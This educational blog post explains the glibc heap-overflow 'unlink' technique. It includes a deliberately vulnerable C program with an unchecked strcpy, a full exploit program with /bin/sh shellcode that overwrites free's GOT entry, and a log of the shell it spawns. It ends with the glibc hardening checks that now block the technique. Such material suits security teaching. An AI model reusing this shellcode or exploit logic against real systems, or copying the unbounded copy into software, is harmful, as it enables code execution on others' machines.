Heap overflow using unlink

Prerequisite:

1. Understanding glibc malloc

In this post lets learn how heap overflow can be successfully exploited using unlink technique. But before looking into unlink, first lets look into a vulnerable program:

/* 
 Heap overflow vulnerable program. 
 */
#include <stdlib.h>
#include <string.h>

int main( int argc, char * argv[] )
{
        char * first, * second;

/*[1]*/ first = malloc( 666 );
/*[2]*/ second = malloc( 12 );
        if(argc!=1)
/*[3]*/         strcpy( first, argv[1] );
/*[4]*/ free( first );
/*[5]*/ free( second );
/*[6]*/ return( 0 );
}

Line [3] of the above program results in heap overflow. User input ‘argv[1]’ is copied to heap buffer ‘first’ without any size restriction. Hence when the user input is greater than 666 bytes, its bounded to overwrite chunk header of the next chunk. This overflow leads to arbitrary code execution.

Pictorial view of heap memory for the vulnerable program:

Unlink:  The main idea of this technique is to trick ‘glibc malloc’ to unlink the ‘second’ chunk. While unlinking GOT entry of free would get overwritten with shellcode address!! After successful overwrite, now when free is called by vulnerable program at line [5], shellcode would get executed. Not very clear? No problem, first lets see what ‘glibc malloc’ does when free gets executed.

Without attacker influence, free at line [4] does the following:

• For non mmaped chunks, consolidate backward and/or forward.
• Consolidate backward:
  • Find if previous chunk is free – Previous chunk is free, if current freed chunk’s PREV_INUSE (P) bit is unset. But in our case, previous chunk is allocated since ‘first”s PREV_INUSE bit is set, by default chunk previous to the very first chunk of heap memory is allocated (eventhough it doesnt exists).
  • If free, consolidate ie) unlink (remove) the previous chunk from its binlist, add previous chunk size to current size and change the chunk pointer to point to previous chunk. But in our case previous chunk is allocated, hence unlink isnt invoked. Thus currently freed chunk ‘first’ cant be consolidated backward.
• Consolidate forward:
  • Find if next chunk is free – Next chunk is free, if next-to-next chunk’s (from currently freed chunk) PREV_INUSE (P) bit is unset. To navigate to next-to-next chunk, add currently freed chunk’s size to its chunk pointer, then add next chunk’s size to next chunk pointer. In our case next-to-next chunk to currently freed ‘first’ chunk is top chunk and its PREV_INUSE bit is set. Thus next chunk ‘second’ chunk is NOT free.
  • If free, consolidate ie) unlink (remove) the next chunk from its binlist and add next chunk size to current size. But in our case next chunk is allocated, hence unlink isnt invoked. Thus currently freed chunk ‘first’ cant be consolidated forward.
• Now add the consolidated chunk to unsorted bin.  In our case since no consolidation happens, just add the ‘first’ chunk to unsorted bin.

Now lets say attacker at line [3] overwrites the chunk header of ‘second’ chunk as follows:

• prev_size = even number and hence PREV_INUSE bit is unset.
• size = -4
• fd = free address – 12
• bk = shellcode address

With attacker influence, free at line [4] does the following:

• For non mmaped chunks, consolidate backward and/or forward.
• Consolidate backward:
  • Find if previous chunk is free – Previous chunk is free, if current freed chunk’s PREV_INUSE (P) bit is unset. But in our case, previous chunk is allocated since ‘first”s PREV_INUSE bit is set since by default chunk previous to very first chunk of heap memory is allocated (eventhough it doesnt exists).
  • If free, consolidate ie) unlink (remove) the previous chunk from its binlist, add previous chunk size to current size and change the chunk pointer to point to previous chunk. But in our case previous chunk is allocated, hence unlink isnt invoked. Thus currently freed chunk ‘first’ cant be consolidated backward.
• Consolidate forward:
  • Find if next chunk is free – Next chunk is free, if next-to-next chunk’s (from currently freed chunk) PREV_INUSE (P) bit is unset.To navigate to next-to-next chunk, add ‘currently freed chunk’s size to its chunk pointer, then add next chunk’s size to next chunk pointer. In our case next-to-next chunk to currently freed ‘first’ chunk is NOT top chunk. Next-to-next chunk is at offset -4 from ‘second’ chunk since attacker has overwritten ‘second’ chunk’s size with -4. Thus now ‘glibc malloc’ treats prev_inuse field of ‘second’ chunk as size field of next-to-next chunk. Since attacker has overwritten an even number ( ie) PREV_INUSE (P)  bit is unset) in place of prev_size ‘glibc malloc’ is tricked to believe that ‘second’ chunk is free.
  • If free, consolidate ie) unlink (remove) the next chunk from its binlist and add next chunk size to current size. And in our case next chunk is free, hence ‘second’ chunk is unlinked as follows:
    • Copy ‘second’ chunk’s fd and bk values to variables FD and BK, respectively. In our case FD = free address -12 and BK = shellcode address (As part of heap overflow, attacker places his shellcode inside ‘first’ heap buffer)
    • Value of BK is copied to a location at offset 12 from FD. In our case adding 12 bytes to FD, points to GOT entry of free and hence now GOT entry of free is overwritten with shellcode address. Bingo!! Now on whenever free is invoked, shellcode gets executed!! Thus executing line [5] in vulnerable program results in shellcode execution.
• Now add the consolidated chunk to unsorted bin.

Pictorial view of heap memory for the vulnerable program, with attacker influenced user input:

Having understood the unlink technique, lets write an exploit program.

/* Program to exploit 'vuln' using unlink technique.
 */
#include <string.h>
#include <unistd.h>

#define FUNCTION_POINTER ( 0x0804978c )         //Address of GOT entry for free function obtained using "objdump -R vuln".
#define CODE_ADDRESS ( 0x0804a008 + 0x10 )      //Address of variable 'first' in vuln executable. 

#define VULNERABLE "./vuln"
#define DUMMY 0xdefaced
#define PREV_INUSE 0x1

char shellcode[] =
        /* Jump instruction to jump past 10 bytes. ppssssffff - Of which ffff would be overwritten by unlink function
        (by statement BK->fd = FD). Hence if no jump exists shell code would get corrupted by unlink function. 
        Therefore store the actual shellcode 12 bytes past the beginning of buffer 'first'*/
        "\xeb\x0assppppffff"
        "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";

int main( void )
{
        char * p;
        char argv1[ 680 + 1 ];
        char * argv[] = { VULNERABLE, argv1, NULL };

        p = argv1;
        /* the fd field of the first chunk */
        *( (void **)p ) = (void *)( DUMMY );
        p += 4;
        /* the bk field of the first chunk */
        *( (void **)p ) = (void *)( DUMMY );
        p += 4;
        /* the fd_nextsize field of the first chunk */
        *( (void **)p ) = (void *)( DUMMY );
        p += 4;
        /* the bk_nextsize field of the first chunk */
        *( (void **)p ) = (void *)( DUMMY );
        p += 4;
        /* Copy the shellcode */
        memcpy( p, shellcode, strlen(shellcode) );
        p += strlen( shellcode );
        /* Padding- 16 bytes for prev_size,size,fd and bk of second chunk. 16 bytes for fd,bk,fd_nextsize,bk_nextsize 
        of first chunk */
        memset( p, 'B', (680 - 4*4) - (4*4 + strlen(shellcode)) );
        p += ( 680 - 4*4 ) - ( 4*4 + strlen(shellcode) );
        /* the prev_size field of the second chunk. Just make sure its an even number ie) its prev_inuse bit is unset */
        *( (size_t *)p ) = (size_t)( DUMMY & ~PREV_INUSE );
        p += 4;
        /* the size field of the second chunk. By setting size to -4, we trick glibc malloc to unlink second chunk.*/
        *( (size_t *)p ) = (size_t)( -4 );
        p += 4;
        /* the fd field of the second chunk. It should point to free - 12. -12 is required since unlink function
        would do + 12 (FD->bk). This helps to overwrite the GOT entry of free with the address we have overwritten in 
        second chunk's bk field (see below) */
        *( (void **)p ) = (void *)( FUNCTION_POINTER - 12 );
        p += 4;
        /* the bk field of the second chunk. It should point to shell code address.*/
        *( (void **)p ) = (void *)( CODE_ADDRESS );
        p += 4;
        /* the terminating NUL character */
        *p = '';

        /* the execution of the vulnerable program */
        execve( argv[0], argv, NULL );
        return( -1 );
}

Executing the above program shows that a new shell is spawned!!

sploitfun@sploitfun-VirtualBox:~/lsploits/hof/unlink$ gcc -g -z norelro -z execstack -o vuln vuln.c -Wl,--rpath=/home/sploitfun/glibc/glibc-inst2.20/lib -Wl,--dynamic-linker=/home/sploitfun/glibc/glibc-inst2.20/lib/ld-linux.so.2
sploitfun@sploitfun-VirtualBox:~/lsploits/hof/unlink$ gcc -g -o exp exp.c
sploitfun@sploitfun-VirtualBox:~/lsploits/hof/unlink$ ./exp 
$ ls
cmd  exp  exp.c  vuln  vuln.c
$ exit
sploitfun@sploitfun-VirtualBox:~/lsploits/hof/unlink$

Protection: At present day, unlink technique doesnt work since ‘glibc malloc’ has got hardened over the years. Below checks are added to prevent heap overflow using unlink technique.

• Double free: Freeing a chunk which is already in free state is prohibited. When attacker overwrites ‘second’ chunk’s size with -4, its PREV_INUSE bit is unset which means ‘first’ is already in free state. Hence ‘glibc malloc’ throws up double free error.

    if (__glibc_unlikely (!prev_inuse(nextchunk)))
      {
        errstr = "double free or corruption (!prev)";
        goto errout;
      }

• Invalid next size: Next chunk size should lie between 8 bytes to arena’s total system memory. When attacker overwrites ‘second’ chunk’s size with -4, ‘glibc malloc’ throws up invalid next size error.

 if (__builtin_expect (nextchunk->size <= 2 * SIZE_SZ, 0)
        || __builtin_expect (nextsize >= av->system_mem, 0))
      {
        errstr = "free(): invalid next size (normal)";
        goto errout;
      }

• Courrupted Double Linked list: Previous chunk’s fd and next chunk’s bk should point to currently unlinked chunk. When attacker overwrites fd and bk with free -12 and shellcode address, respectively, free and shellcode address + 8 doesnt point to currently unlinked chunk (‘second’). Hence ‘glibc malloc’ throws up corrupted double linked list error.

 if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                     
      malloc_printerr (check_action, "corrupted double-linked list", P);

NOTE: For demo purposes, vulnerable program is compiled without following linux protection mechanisms:

• ASLR
• NX
• RELRO (ReLocation Read-Only)

Reference:

• vudo malloc tricks